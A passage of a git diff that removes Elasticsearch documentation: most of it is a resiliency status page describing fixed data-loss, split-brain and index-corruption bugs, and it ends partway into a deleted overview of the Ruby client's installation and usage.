-sequence numbers ({GIT}10708[#10708]) it is now possible to detect these
-out-of-order operations, and this issue was fixed in {GIT}28787[#28787].
-
-Re-creating a document a specific interval after it was deleted could result in
-that document's tombstone having being cleaned up on some, but not all, copies
-when processing the indexing operation that re-creates it. This resulted in
-varying behaviour across the shard copies. The problematic interval was set by
-the `index.gc_deletes` setting, which is 60 seconds by default. Again, sequence
-numbers ({GIT}10708[#10708]) gives us the machinery to detect these conflicting
-activities, and this issue was fixed in {GIT}28790[#28790].
-
-Under certain rare circumstances a replica might erroneously interpret a stale
-tombstone for a document as fresh, resulting in a concurrent indexing operation
-for that same document behaving differently on this replica than on the
-primary. This is fixed in {GIT}29619[#29619]. Triggering this issue required
-the following activities all to occur in a short time window, in a specific
-order on the primary and a different specific order on the replica:
-
-* a document is deleted twice
-* another document is indexed with the same ID as this first document
-* another document is indexed with a completely different, auto-generated, ID
-* two refreshes
-
-We found the first two of these issues by empirical testing, and then we built
-https://github.com/elastic/elasticsearch-formal-models/blob/master/ReplicaEngine/tla/ReplicaEngine.tla[a
-formal model of the replica's behaviour] using TLA+. Running the TLC model
-checker on this model found all three issues. We then applied the proposed
-fixes to the model and validated that the fixed design behaved as expected.
-
-[discrete]
-=== Port Jepsen tests dealing with loss of acknowledged writes to our testing framework (STATUS: DONE, V5.0.0)
-
-We have increased our test coverage to include scenarios tested by Jepsen that demonstrate loss of acknowledged writes, as described in
-the Elasticsearch related blogs. We make heavy use of randomization to expand on the scenarios that can be tested and to introduce
-new error conditions.
-You can view these changes on the `5.0` branch of the
-https://github.com/elastic/elasticsearch/blob/5.0/core/src/test/java/org/elasticsearch/discovery/DiscoveryWithServiceDisruptionsIT.java[`DiscoveryWithServiceDisruptionsIT` class],
-where the `testAckedIndexing` test was specifically added to check that we don't lose acknowledged writes in various failure scenarios.
-
-
-[discrete]
-=== Loss of documents during network partition (STATUS: DONE, v5.0.0)
-
-If a network partition separates a node from the master, there is some window of time before the node detects it. The length of the window is dependent on the type of the partition. This window is extremely small if a socket is broken. More adversarial partitions, for example, silently dropping requests without breaking the socket can take longer (up to 3x30s using current defaults).
-
-If the node hosts a primary shard at the moment of partition, and ends up being isolated from the cluster (which could have resulted in {GIT}2488[split-brain] before), some documents that are being indexed into the primary may be lost if they fail to reach one of the allocated replicas (due to the partition) and that replica is later promoted to primary by the master ({GIT}7572[#7572]).
-To prevent this situation, the primary needs to wait for the master to acknowledge replica shard failures before acknowledging the write to the client. {GIT}14252[#14252]
-
-[discrete]
-=== Safe primary relocations (STATUS: DONE, v5.0.0)
-
-When primary relocation completes, a cluster state is propagated that deactivates the old primary and marks the new primary as active. As
-cluster state changes are not applied synchronously on all nodes, there can be a time interval where the relocation target has processed the
-cluster state and believes to be the active primary and the relocation source has not yet processed the cluster state update and still
-believes itself to be the active primary. This means that an index request that gets routed to the new primary does not get replicated to
-the old primary (as it has been deactivated from point of view of the new primary). If a subsequent read request gets routed to the old
-primary, it cannot see the indexed document. {GIT}15900[#15900]
-
-In the reverse situation where a cluster state update that completes primary relocation is first applied on the relocation source and then
-on the relocation target, each of the nodes believes the other to be the active primary. This leads to the issue of indexing requests
-chasing the primary being quickly sent back and forth between the nodes, potentially making them both go OOM. {GIT}12573[#12573]
-
-[discrete]
-=== Do not allow stale shards to automatically be promoted to primary (STATUS: DONE, v5.0.0)
-
-In some scenarios, after the loss of all valid copies, a stale replica shard can be automatically assigned as a primary, preferring old data
-to no data at all ({GIT}14671[#14671]). This can lead to a loss of acknowledged writes if the valid copies are not lost but are rather
-temporarily unavailable. Allocation IDs ({GIT}14739[#14739]) solve this issue by tracking non-stale shard copies in the cluster and using
-this tracking information to allocate primary shards. When all shard copies are lost or only stale ones available, Elasticsearch will wait
-for one of the good shard copies to reappear. In case where all good copies are lost, a manual override command can be used to allocate a
-stale shard copy.
-
-[discrete]
-=== Make index creation resilient to index closing and full cluster crashes (STATUS: DONE, v5.0.0)
-
-Recovering an index requires a quorum (with an exception for 2) of shard copies to be available to allocate a primary. This means that
-a primary cannot be assigned if the cluster dies before enough shards have been allocated ({GIT}9126[#9126]). The same happens if an index
-is closed before enough shard copies were started, making it impossible to reopen the index ({GIT}15281[#15281]).
-Allocation IDs ({GIT}14739[#14739]) solve this issue by tracking allocated shard copies in the cluster. This makes it possible to safely
-recover an index in the presence of a single shard copy. Allocation IDs can also distinguish the situation where an index has been created
-but none of the shards have been started. If such an index was inadvertently closed before at least one shard could be started, a fresh
-shard will be allocated upon reopening the index.
-
-
-[discrete]
-=== Use two phase commit for Cluster State publishing (STATUS: DONE, v5.0.0)
-
-A master node in Elasticsearch continuously https://www.elastic.co/guide/en/elasticsearch/reference/current/cluster-fault-detection.html[monitors the cluster nodes]
-and removes any node from the cluster that doesn't respond to its pings in a timely
-fashion. If the master is left with too few nodes, it will step down and a new master election will start.
-
-When a network partition causes a master node to lose many followers, there is a short window
-in time until the node loss is detected and the master steps down. During that window, the
-master may erroneously accept and acknowledge cluster state changes. To avoid this, we introduce
-a new phase to cluster state publishing where the proposed cluster state is sent to all nodes
-but is not yet committed. Only once enough nodes actively acknowledge
-the change, it is committed and commit messages are sent to the nodes. See {GIT}13062[#13062].
-
-[discrete]
-=== Wait on incoming joins before electing local node as master (STATUS: DONE, v2.0.0)
-
-During master election each node pings in order to discover other nodes and validate the liveness of existing
-nodes. Based on this information the node either discovers an existing master or, if enough nodes are found a new master will be elected. Currently, the node that is
-elected as master will update the cluster state to indicate the result of the election. Other nodes will submit
-a join request to the newly elected master node. Instead of immediately processing the election result, the elected master
-node should wait for the incoming joins from other nodes, thus validating that the result of the election is properly applied. As soon as enough
-nodes have sent their joins request (based on the `minimum_master_nodes` settings) the cluster state is updated.
-{GIT}12161[#12161]
-
-[discrete]
-=== Mapping changes should be applied synchronously (STATUS: DONE, v2.0.0)
-
-When introducing new fields using dynamic mapping, it is possible that the same
-field can be added to different shards with different data types.  Each shard
-will operate with its local data type but, if the shard is relocated, the
-data type from the cluster state will be applied to the new shard, which
-can result in a corrupt shard.  To prevent this, new fields should not
-be added to a shard's mapping until confirmed by the master.
-{GIT}8688[#8688] (STATUS: DONE)
-
-[discrete]
-=== Add per-segment and per-commit ID to help replication (STATUS: DONE, v2.0.0)
-
-{JIRA}5895[LUCENE-5895] adds a unique ID for each segment and each commit point. File-based replication (as performed by snapshot/restore) can use this ID to know whether the segment/commit on the source and destination machines are the same.  Fixed in Lucene 5.0.
-
-[discrete]
-=== Write index metadata on data nodes where shards allocated (STATUS: DONE, v2.0.0)
-
-Today, index metadata is written only on nodes that are master-eligible, not on
-data-only nodes.  This is not a problem when running with multiple master nodes,
-as recommended, as the loss of all but one master node is still recoverable.
-However, users running with a single master node are at risk of losing
-their index metadata if the master fails.  Instead, this metadata should
-also be written on any node where a shard is allocated. {GIT}8823[#8823], {GIT}9952[#9952]
-
-[discrete]
-=== Better file distribution with multiple data paths (STATUS: DONE, v2.0.0)
-
-Today, a node configured with multiple data paths distributes writes across
-all paths by writing one file to each path in turn.  This can mean that the
-failure of a single disk corrupts many shards at once.  Instead, by allocating
-an entire shard to a single data path, the extent of the damage can be limited
-to just the shards on that disk. {GIT}9498[#9498]
-
-[discrete]
-=== Lucene checksums phase 3 (STATUS: DONE, v2.0.0)
-
-Almost all files in Elasticsearch now have checksums which are validated before use.  A few changes remain:
-
-* {GIT}7586[#7586] adds checksums for cluster and index state files. (STATUS: DONE, Fixed in v1.5.0)
-* {GIT}9183[#9183] supports validating the checksums on all files when starting a node. (STATUS: DONE, Fixed in v2.0.0)
-* {JIRA}5894[LUCENE-5894] lays the groundwork for extending more efficient checksum validation to all files during optimized bulk merges. (STATUS: DONE, Fixed in v2.0.0)
-* {GIT}8403[#8403] to add validation of checksums on Lucene `segments_N` files. (STATUS: DONE, v2.0.0)
-
-[discrete]
-=== Report shard-level statuses on write operations (STATUS: DONE, v2.0.0)
-
-Make write calls return the number of total/successful/missing shards in the same way that we do in search, which ensures transparency in the consistency of write operations. {GIT}7994[#7994]. (STATUS: DONE, v2.0.0)
-
-[discrete]
-=== Take filter cache key size into account (STATUS: DONE, v2.0.0)
-
-Commonly used filters are cached in Elasticsearch. That cache is limited in size
-(10% of node's memory by default) and is being evicted based on a least recently
-used policy. The amount of memory used by the cache depends on two primary
-components - the values it stores and the keys associated with them. Calculating
-the memory footprint of the values is easy enough but the keys accounting is
-trickier to achieve as they are, by default, raw Lucene objects. This is largely
-not a problem as the keys are dominated by the values. However, recent
-optimizations in Lucene have changed the balance causing the filter cache to
-grow beyond it's size.
-
-As a temporary solution, we introduced a minimum weight of 1k for each cache entry.
-This puts an effective limit on the number of entries in the cache. See {GIT}8304[#8304] (STATUS: DONE, fixed in v1.4.0)
-
-The issue has been completely solved by the move to Lucene's query cache. See {GIT}10897[#10897]
-
-[discrete]
-=== Ensure shard state ID is incremental (STATUS: DONE, v1.5.1)
-
-It is possible in very extreme cases during a complicated full cluster restart,
-that the current shard state ID can be reset or even go backwards.
-Elasticsearch now ensures that the state ID always moves
-forwards, and throws an exception when a legacy ID is higher than the
-current ID.  See {GIT}10316[#10316] (STATUS: DONE, v1.5.1)
-
-[discrete]
-=== Verification of index UUIDs (STATUS: DONE, v1.5.0)
-
-When deleting and recreating indices rapidly, it is possible that cluster state
-updates can arrive out of sync and old states can be merged incorrectly.  Instead,
-Elasticsearch now checks the index UUID to ensure that cluster state updates
-refer to the same index version that is present on the local node.
-See {GIT}9541[#9541] and {GIT}10200[#10200] (STATUS: DONE, Fixed in v1.5.0)
-
-[discrete]
-=== Disable recovery from known buggy versions (STATUS: DONE, v1.5.0)
-
-Corruptions have been known to occur when doing a rolling restart from older, buggy versions.
-Now, shards from versions before v1.4.0 are copied over in full and recovery from versions
-before v1.3.2 are disabled entirely. See {GIT}9925[#9925] (STATUS: DONE, Fixed in v1.5.0)
-
-
-[discrete]
-=== Upgrade 3.x segments metadata on engine startup (STATUS: DONE, v1.5.0)
-
-Upgrading the metadata of old 3.x segments on node upgrade can be error prone
-and can result in corruption when merges are being run concurrently. Instead,
-Elasticsearch will now upgrade the metadata of 3.x segments before the engine
-starts.  See {GIT}9899[#9899] (STATUS; DONE, fixed in v1.5.0)
-
-[discrete]
-=== Prevent setting minimum_master_nodes to more than the current node count (STATUS: DONE, v1.5.0)
-
-Setting `zen.discovery.minimum_master_nodes` to a value higher than the current node count
-effectively leaves the cluster without a master and unable to process requests.  The only
-way to fix this is to add more master-eligible nodes.  {GIT}8321[#8321] adds a mechanism
-to validate settings before applying them, and {GIT}9051[#9051] extends this validation
-support to settings applied during a cluster restore. (STATUS: DONE, Fixed in v1.5.0)
-
-[discrete]
-=== Simplify and harden shard recovery and allocation (STATUS: DONE, v1.5.0)
-
-Randomized testing combined with chaotic failures has revealed corner cases
-where the recovery and allocation of shards in a concurrent manner can result
-in shard corruption.  There is an ongoing effort to reduce the complexity of
-these operations in order to make them more deterministic.  These include:
-
-* Introduce shard level locks to prevent concurrent shard modifications {GIT}8436[#8436]. (STATUS: DONE, Fixed in v1.5.0)
-* Delete shard contents under a lock {GIT}9083[#9083]. (STATUS: DONE, Fixed in v1.5.0)
-* Delete shard under a lock {GIT}8579[#8579]. (STATUS: DONE, Fixed in v1.5.0)
-* Refactor RecoveryTarget state management {GIT}8092[#8092]. (STATUS: DONE, Fixed in v1.5.0)
-* Cancelling a recovery may leave temporary files behind {GIT}7893[#7893]. (STATUS: DONE, Fixed in v1.5.0)
-* Quick cluster state processing can result in both shard copies being deleted {GIT}9503[#9503]. (STATUS: DONE, Fixed in v1.5.0)
-* Rapid creation and deletion of an index can cause reuse of old index metadata {GIT}9489[#9489]. (STATUS: DONE, Fixed in v1.5.0)
-* Flush immediately after the last concurrent recovery finishes to clear out the translog before a new recovery starts {GIT}9439[#9439]. (STATUS: DONE, Fixed in v1.5.0)
-
-[discrete]
-=== Prevent use of known-bad Java versions (STATUS: DONE, v1.5.0)
-
-Certain versions of the JVM are known to have bugs which can cause index corruption.  {GIT}7580[#7580] prevents Elasticsearch startup if known bad versions are in use.
-
-[discrete]
-=== Make recovery be more resilient to partial network partitions (STATUS: DONE, v1.5.0)
-
-When a node is experience network issues, the master detects it and removes the node from the cluster. That causes all ongoing recoveries from and to that node to be stopped and a new location is found for the relevant shards. However, in the of case partial network partition, where there are connectivity issues between the source and target nodes of a recovery but not between those nodes and the current master things may go wrong. While the nodes successfully restore the connection, the on going recoveries may have encountered issues. In {GIT}8720[#8720], we added test simulations for these and solved several issues that were flagged by them.
-
-[discrete]
-=== Improving Zen Discovery (STATUS: DONE, v1.4.0.Beta1)
-
-Recovery from failure is a complicated process, especially in an asynchronous distributed system like Elasticsearch. With several processes happening in parallel, it is important to ensure that recovery proceeds swiftly and safely. While fixing the {GIT}2488[split-brain issue] we have been hunting down corner cases that were not handled optimally, adding tests to demonstrate the issues, and working on fixes:
-
-* Faster & better detection of master & node failures, including not trying to reconnect upon disconnect, fail on disconnect error on ping, verify cluster names in pings. Previously, Elasticsearch had to wait a bit for the node to complete the process required to join the cluster. Recent changes guarantee that a node has fully joined the cluster before we start the fault detection process. Therefore we can do an immediate check causing faster detection of errors and validation of cluster state after a minimum master node breach. {GIT}6706[#6706], {GIT}7399[#7399] (STATUS: DONE, v1.4.0.Beta1)
-* Broaden Unicast pinging when master fails: When a node loses it’s current master it will start pinging to find a new one. Previously, when using unicast based pinging, the node would ping a set of predefined nodes asking them whether the master had really disappeared or whether there was a network hiccup. Now, we ping all nodes in the cluster to increase coverage. In the case that all unicast hosts are disconnected from the current master during a network failure, this improvement is essential to allow the cluster to reform once the partition is healed. {GIT}7336[#7336] (STATUS: DONE, v1.4.0.Beta1)
-* After joining a cluster, validate that the join was successful and that the master has been set in the local cluster state. {GIT}6969[#6969]. (STATUS: DONE, v1.4.0.Beta1)
-* Write additional tests that use the test infrastructure to verify proper behavior during network disconnections and garbage collections. {GIT}7082[#7082] (STATUS: DONE, v1.4.0.Beta1)
-
-[discrete]
-=== Lucene checksums phase 2 (STATUS:DONE, v1.4.0.Beta1)
-
-When Lucene opens a segment for reading, it validates the checksum on the smaller segment files -- those which it reads entirely into memory -- but not the large files like term frequencies and positions, as this would be very expensive. During merges, term vectors and stored fields are validated, as long the segments being merged come from the same version of Lucene. Checksumming for term vectors and stored fields is important because merging consists of performing optimized byte copies. Term frequencies, term positions, payloads, doc values, and norms are currently not checked during merges, although Lucene provides the option to do so.  These files are less prone to silent corruption as they are actively decoded during merge, and so are more likely to throw exceptions if there is any corruption.
-
-The following changes have been made:
-
-* {GIT}7360[#7360] validates checksums on all segment files during merges. (STATUS: DONE, fixed in v1.4.0.Beta1)
-* {JIRA}5842[LUCENE-5842] validates the structure of the checksum footer of the postings lists, doc values, stored fields and term vectors when opening a new segment, to ensure that these files have not been truncated. (STATUS: DONE, Fixed in Lucene 4.10 and v1.4.0.Beta1)
-* {GIT}8407[#8407] validates Lucene checksums for legacy files. (STATUS: DONE; Fixed in v1.3.6)
-
-[discrete]
-=== Don't allow unsupported codecs (STATUS: DONE, v1.4.0.Beta1)
-
-Lucene 4 added a number of alternative codecs for experimentation purposes, and Elasticsearch exposed the ability to change codecs.  Since then, Lucene has settled on the best choice of codec and provides backwards compatibility only for the default codec.  {GIT}7566[#7566] removes the ability to set alternate codecs.
-
-[discrete]
-=== Use checksums to identify entire segments (STATUS: DONE, v1.4.0.Beta1)
-
-A hash collision makes it possible for two different files to have the same length and the same checksum. Instead, a segment's identity should rely on checksums from all of the files in a single segment, which greatly reduces the chance of a collision. This change has been merged ({GIT}7351[#7351]).
-
-[discrete]
-=== Fix ''Split Brain can occur even with minimum_master_nodes'' (STATUS: DONE, v1.4.0.Beta1)
-
-Even when minimum master nodes is set, split brain can still occur under certain conditions, e.g. disconnection between master eligible nodes, which can lead to data loss. The scenario is described in detail in {GIT}2488[issue 2488]:
-
-* Introduce a new testing infrastructure to simulate different types of node disconnections, including loss of network connection, lost messages, message delays, etc. See {GIT}5631[MockTransportService] support and {GIT}6505[service disruption] for more details. (STATUS: DONE, v1.4.0.Beta1).
-* Added tests that simulated the bug described in issue 2488. You can take a look at the https://github.com/elastic/elasticsearch/commit/7bf3ffe73c44f1208d1f7a78b0629eb48836e726[original commit] of a reproduction on master. (STATUS: DONE, v1.2.0)
-* The bug described in {GIT}2488[issue 2488] is caused by an issue in our zen discovery gossip protocol. This specific issue has been fixed, and work has been done to make the algorithm more resilient. (STATUS: DONE, v1.4.0.Beta1)
-
-[discrete]
-=== Translog Entry Checksum (STATUS: DONE, v1.4.0.Beta1)
-
-Each translog entry in Elasticsearch should have its own checksum, and potentially additional information, so that we can properly detect corrupted translog entries and act accordingly. You can find more detail in issue {GIT}6554[#6554].
-
-To start, we will begin by adding checksums to the translog to detect corrupt entries. Once this work has been completed, we will add translog entry markers so that corrupt entries can be skipped in the translog if/when desired.
-
-[discrete]
-=== Request-Level Memory Circuit Breaker (STATUS: DONE, v1.4.0.Beta1)
-
-We are in the process of introducing multiple circuit breakers in Elasticsearch, which can “borrow” space from each other in the event that one runs out of memory. This architecture will allow limits for certain parts of memory, but still allow flexibility in the event that another reserve like field data is not being used. This change includes adding a breaker for the BigArrays internal object used for some aggregations. See issue {GIT}6739[#6739] for more details.
-
-[discrete]
-=== Doc Values (STATUS: DONE, v1.4.0.Beta1)
-
-Fielddata is one of the largest consumers of heap memory, and thus one of the primary reasons for running out of memory and causing node instability. Elasticsearch has had the “doc values” option for a while, which allows you to build these structures at index time so that they live on disk instead of in memory. Up until recently, doc values were significantly slower than in-memory fielddata.
-
-By benchmarking and profiling both Lucene and Elasticsearch, we identified the bottlenecks and have made a series of improvements to improve the performance of doc values. They are now almost as fast as the in-memory option.
-
-See {GIT}6967[#6967], {GIT}6908[#6908], {GIT}4548[#4548], {GIT}3829[#3829], {GIT}4518[#4518], {GIT}5669[#5669], {JIRA}5748[LUCENE-5748], {JIRA}5703[LUCENE-5703], {JIRA}5750[LUCENE-5750], {JIRA}5721[LUCENE-5721], {JIRA}5799[LUCENE-5799].
-
-[discrete]
-=== Index corruption when upgrading Lucene 3.x indices (STATUS: DONE, v1.4.0.Beta1)
-
-Upgrading indices create with Lucene 3.x (Elasticsearch v0.20 and before) to Lucene 4.7 - 4.9 (Elasticsearch v1.1.0 to v1.3.x), could result in index corruption. {JIRA}5907[LUCENE-5907] fixes this issue in Lucene 4.10.
-
-[discrete]
-=== Improve error handling when deleting files (STATUS: DONE, v1.4.0.Beta1)
-
-Lucene uses reference counting to prevent files that are still in use from being deleted.  Lucene testing discovered a bug ({JIRA}5919[LUCENE-5919]) when decrementing the ref count on a batch of files. If deleting some of the files resulted in an exception (e.g. due to interference from a virus scanner), the files that had their ref counts decremented successfully could later have their ref counts deleted again, incorrectly, resulting in files being physically deleted before their time. This is fixed in Lucene 4.10.
-
-[discrete]
-=== Using Lucene Checksums to verify shards during snapshot/restore (STATUS:DONE, v1.3.3)
-
-The snapshot process should verify checksums for each file that is being snapshotted to make sure that created snapshot doesn’t contain corrupted files. If a corrupted file is detected, the snapshot should fail with an error. In order to implement this feature we need to have correct and verifiable checksums stored with segment files, which is only possible for files that were written by the officially supported append-only codecs. See {GIT}7159[#7159].
-
-[discrete]
-=== Rare compression corruption during shard recovery (STATUS: DONE, v1.3.2)
-
-During recovery, the primary shard is copied over the network to become a new replica shard. In rare cases, it was possible for a hash collision to trigger a bug in the compression library that is used to produce corruption in the replica shard. This bug was exposed by the change to validate checksums during recovery. We tracked down the bug in the in compression library and submitted a patch, which was accepted and merged by the upstream project. See {GIT}7210[#7210].
-
-[discrete]
-=== Safer recovery of replica shards (STATUS: DONE, v1.3.0)
-
-If a primary shard fails or is closed while a replica is using it for recovery, we need to ensure that the replica is properly failed as well, and allow recovery to start from the new primary. Also check that an active copy of a shard is available on another node before physically removing an inactive shard from disk. {GIT}6825[#6825], {GIT}6645[#6645], {GIT}6995[#6995].
-
-[discrete]
-=== Using Lucene Checksums to verify shards during recovery (STATUS: DONE, v1.3.0)
-
-Elasticsearch can use Lucene checksums to validate files while {GIT}6776[recovering a replica shard from a primary].
-
-This issue exposed a bug in Elasticsearch’s handling of primary shard failure when having more than 2 replicas, causing the second replica to not be properly unassigned if it is in the middle of recovery. It was fixed with the merge of issue {GIT}6808[#6808].
-
-In order to verify the checksumming mechanism, we added functionality to our testing infrastructure that can corrupt an arbitrary index file and at any point, such as while it’s traveling over the wire or residing on disk. The tests utilizing this feature expect full or partial recovery from the failure while neither losing data nor spreading the corruption.
-
-[discrete]
-=== Detect File Corruption (STATUS: DONE, v1.3.0)
-
-When a corrupted index can be detected during merging or refresh, Elasticsearch will fail the shard if a checksum failure is detected. You can read the full details in pull request {GIT}6776[#6776].
-
-[discrete]
-=== Network disconnect events could be lost, causing a zombie node to stay in the cluster state (STATUS: DONE, v1.3.0)
-
-Previously, there was a very short window in which we could lose a node disconnect event. To prevent this from occurring, we added extra handling of connection errors to our nodes & master fault detection pinging to make sure the node disconnect event is detected. See issue {GIT}6686[#6686].
-
-[discrete]
-=== Other fixes to Lucene to address resiliency (STATUS: DONE, v1.3.0)
-
-* NativeLock is released if Lock is closed after failing on obtain {JIRA}5738[LUCENE-5738].
-* NRT Reader close can wipe an index it doesn’t own. {JIRA}5574[LUCENE-5574]
-* FSDirectory’s fsync() is lenient, now throws exceptions when errors occur {JIRA}5570[LUCENE-5570]
-* fsync() directory when committing {JIRA}5588[LUCENE-5588]
-
-[discrete]
-=== Backwards Compatibility Testings (STATUS: DONE, v1.3.0)
-
-Since founding Elasticsearch Inc, we grew our test base from ~1k tests to about 4k in just about over a year. We invested massively into our testing infrastructure, running our tests continuously on different operating systems, bare metal hardware and cloud environments, all while randomizing JVMs and their settings.
-
-Yet, backwards compatibility testing was a very manual thing until we released a pretty {GIT}6393[insane bug] with Elasticsearch 1.2. We tried to fix places where the absolute value of a number was negative (a documented behavior of Math.abs(int) in Java) and missed that the fix for this also changed the result of our routing function. No matter how much randomization we applied to the tests, we didn’t catch this particular failure. We always had backwards compatibility tests on our list of things to do, but didn’t have them in place back then.
-
-We recently tweaked our testing infrastructure to be able to run tests against a hybrid cluster composed of a released version of Elasticsearch and our current stable branch. This test pattern allowed us to mimic typical upgrade scenarios like rolling upgrades, index backwards compatibility and recovering from old to new nodes.
-
-Now, even the simplest test that relies on routing fails against 1.2.0, which is exactly we were aiming for. The test would not have caught the aforementioned {GIT}6393[routing bug] before releasing 1.2.0, but it immediately saved us from {GIT}6660[another problem] in the stable branch.
-
-The work on our testing infrastructure is more than just issue prevention, it allows us to develop and test upgrade paths, introduce new features and evolve indexing over time. It isn’t enough to introduce more resilient implementations, we also have to ensure that users take advantage of them when they upgrade.
-
-You can read more about backwards compatibility tests in issue {GIT}6497[#6497].
-
-[discrete]
-=== Full Translog Writes on all Platforms (STATUS: DONE, v1.2.2 and v1.3.0)
-
-We have recently received bug reports of transaction log corruption that can occur when indexing very large documents (in the area of 300 KB). Although some Linux users reported this behavior, it appears the problem occurs more frequently when running Windows. We traced the source of the problem to the fact that when serializing documents to the transaction log, the Operating System can actually write only part of the document before returning from the write call. We can now detect this situation and make sure that the entire document is properly written. You can read the full details in pull request {GIT}6576[#6576].
-
-[discrete]
-=== Lucene Checksums (STATUS: DONE, v1.2.0)
-
-Before Apache Lucene version 4.8, checksums were not computed on generated index files. The result was that it was difficult to identify when or if a Lucene index got corrupted, whether by hardware failure, JVM bug or for an entirely different reason.
-
-For an idea of the checksum efforts in progress in Apache Lucene, see issues {JIRA}2446[LUCENE-2446], {JIRA}5580[LUCENE-5580] and {JIRA}5602[LUCENE-5602]. The gist is that Lucene 4.8+ now computes full checksums on all index files and it verifies them when opening metadata or other smaller files as well as other files during merges.
-
-[discrete]
-=== Detect errors faster by locally failing a shard upon an indexing error (STATUS: DONE, v1.2.0)
-
-Previously, Elasticsearch notified the master of the shard failure and waited for the master to close the local copy of the shard, thus assigning it to other nodes. This architecture caused delays in failure detection, potentially causing unneeded failures of other incoming requests. In rare cases, such as concurrency racing conditions or certain network partitions configurations, we could lose these failure notifications. We solved this issue by locally failing shards upon indexing errors. See issue {GIT}5847[#5847].
-
-[discrete]
-=== Snapshot/Restore API (STATUS: DONE, v1.0.0)
-
-In Elasticsearch version 1.0, we significantly improved the backup process by introducing the Snapshot/Restore API. While it was always possible to make backups of Elasticsearch, the Snapshot/Restore API made the backup process much easier.
-
-The backup process is incremental, making it very efficient since only files changed since the last backup are copied. Even with this efficiency introduced, each snapshot contains a full picture of the cluster at the moment when backup started. The restore API allows speedy recovery of a full cluster as well as selected indices.
-
-Since that first release in version 1.0, the API has continued to evolve. In version 1.1.0, we added a new snapshot status API that allows users to monitor the snapshot process. In 1.3.0 we added the ability to {GIT}6457[restore indices without their aliases] and in 1.4 we are planning to add the ability to {GIT}6368[restore partial snapshots].
-
-The Snapshot/Restore API supports a number of different repository types for storing backups. Currently, it’s possible to make backups to a shared file system, Amazon S3, HDFS, and Azure storage. We are continuing to work on adding other types of storage systems, as well as improving the robustness of the snapshot/restore process.
-
-[discrete]
-=== Circuit Breaker: Fielddata (STATUS: DONE, v1.0.0)
-
-Currently, the circuit breaker protects against loading too much field data by estimating how much memory the field data will take to load, then aborting the request if the memory requirements are too high. This feature was added in Elasticsearch version 1.0.0.
-
-[discrete]
-=== Use of Paginated Data Structures to Ease Garbage Collection (STATUS: DONE, v1.0.0 & v1.2.0)
-
-Elasticsearch has moved from an object-based cache to a page-based cache recycler as described in issue {GIT}4557[#4557]. This change makes garbage collection easier by limiting fragmentation, since all pages have the same size and are recycled. It also allows managing the size of the cache not based on the number of objects it contains, but on the memory that it uses.
-
-These pages are used for two main purposes: implementing higher level data structures such as hash tables that are used internally by aggregations to e.g. map terms to counts, as well as reusing memory in the translog/transport layer as detailed in issue {GIT}5691[#5691].
-
-[discrete]
-=== Dedicated Master Nodes Resiliency (STATUS: DONE, v1.0.0)
-
-In order to run a more resilient cluster, we recommend running dedicated master nodes to ensure master nodes are not affected by resources consumed by data nodes. We also have made master nodes more resilient to heavy resource usage, mainly associated with large clusters / cluster states.
-
-These changes include:
-
-* Improve the balancing algorithm to execute faster across large clusters / many indices. (See issue {GIT}4458[#4458] and {GIT}4459[#4459])
-* Improve cluster state publishing to not create an additional network buffer per node. (More in https://github.com/elastic/elasticsearch/commit/a9e259d438c3cb1d3bef757db2d2a91cf85be609[this commit].)
-* Improve master handling of large scale mapping updates from data nodes by batching them into a single cluster event. (See issue {GIT}4373[#4373].)
-* Add an ack mechanism where next phase cluster updates are processed only when nodes acknowledged they received the previous cluster state. (See issues {GIT}3736[#3736], {GIT}3786[#3786], {GIT}4114[#4114], {GIT}4169[#4169], {GIT}4228[#4228] and {GIT}4421[#4421], which also include enhancements to the ack mechanism implementation.)
-
-[discrete]
-=== Multi Data Paths May Falsely Report Corrupt Index (STATUS: DONE, v1.0.0)
-
-When using multiple data paths, an index could be falsely reported as corrupted. This has been fixed with pull request {GIT}4674[#4674].
-
-[discrete]
-=== Randomized Testing (STATUS: DONE, v1.0.0)
-
-In order to best validate for resiliency in Elasticsearch, we rewrote the Elasticsearch test infrastructure to introduce the concept of https://github.com/randomizedtesting/randomizedtesting[randomized testing]. Randomized testing allows us to easily enhance the Elasticsearch testing infrastructure with predictably irrational conditions, making the resulting code base more resilient.
-
-Each of our integration tests runs against a cluster with a random number of nodes, and indices have a random number of shards and replicas. Merge settings change for every run, indexing is done in serial or async fashion or even wrapped in a bulk operation and thread pool sizes vary to ensure that we don’t produce a deadlock no matter what happens. The list of places we use this randomization infrastructure is long, and growing every day, and has saved us headaches several times before we shipped a particular feature.
-
-At Elasticsearch, we live the philosophy that we can miss a bug once, but never a second time. We make our tests more evil as you go, introducing randomness in all the areas where we discovered bugs. We figure if our tests don’t fail, we are not trying hard enough! If you are interested in how we have evolved our test infrastructure over time check out https://github.com/elastic/elasticsearch/issues?q=label%3Atest[issues labeled with ``test'' on GitHub].
-
-[discrete]
-=== Lucene Loses Data On File Descriptors Failure (STATUS: DONE, v0.90.0)
-
-When a process runs out of file descriptors, Lucene can causes an index to be completely deleted. This issue was fixed in Lucene ({JIRA}4870[version 4.2.1]) and fixed in an early version of Elasticsearch. See issue {GIT}2812[#2812].
diff --git a/docs/ruby/client.asciidoc b/docs/ruby/client.asciidoc
deleted file mode 100644
index 5b8960f8369..00000000000
--- a/docs/ruby/client.asciidoc
+++ /dev/null
@@ -1,109 +0,0 @@
-== The Ruby Client
-
-The `elasticsearch` http://rubygems.org/gems/elasticsearch[Rubygem] provides a low-level client
-for communicating with an Elasticsearch cluster, fully compatible with other official clients.
-
-Full documentation is hosted at https://github.com/elastic/elasticsearch-ruby[Github]
-and http://rubydoc.info/gems/elasticsearch[RubyDoc]
--- this documentation provides only an overview of features.
-
-=== Elasticsearch Version Compatibility
-
-The Ruby API is compatible with both Elasticsearch 0.90.x and 1.0.x versions, you have to install
-a matching http://rubygems.org/gems/elasticsearch/versions[gem version], though:
-
-[cols="<,<",options="header",]
-|=========================================
-| Elasticsearch version | Ruby gem version
-| 0.90.x                | 0.4.x
-| 1.x                   | 1.x
-|=========================================
-
-=== Installation
-
-Install the Ruby gem for Elasticsearch *1.x*:
-
-[source,sh]
-------------------------------------
-gem install elasticsearch
-------------------------------------
-
-...or add it do your Gemfile:
-
-[source,ruby]
-------------------------------------
-gem 'elasticsearch'
-------------------------------------
-
-Install the Ruby gem for Elasticsearch *0.90.x*:
-
-[source,sh]
-------------------------------------
-gem install elasticsearch -v 0.4.10
-------------------------------------
-
-...or add it do your Gemfile:
-
-[source,ruby]
-------------------------------------
-gem 'elasticsearch', '~> 0.4'
-------------------------------------
-
-=== Example Usage
-
-[source,ruby]
-------------------------------------
-require 'elasticsearch'
-
-client = Elasticsearch::Client.new log: true
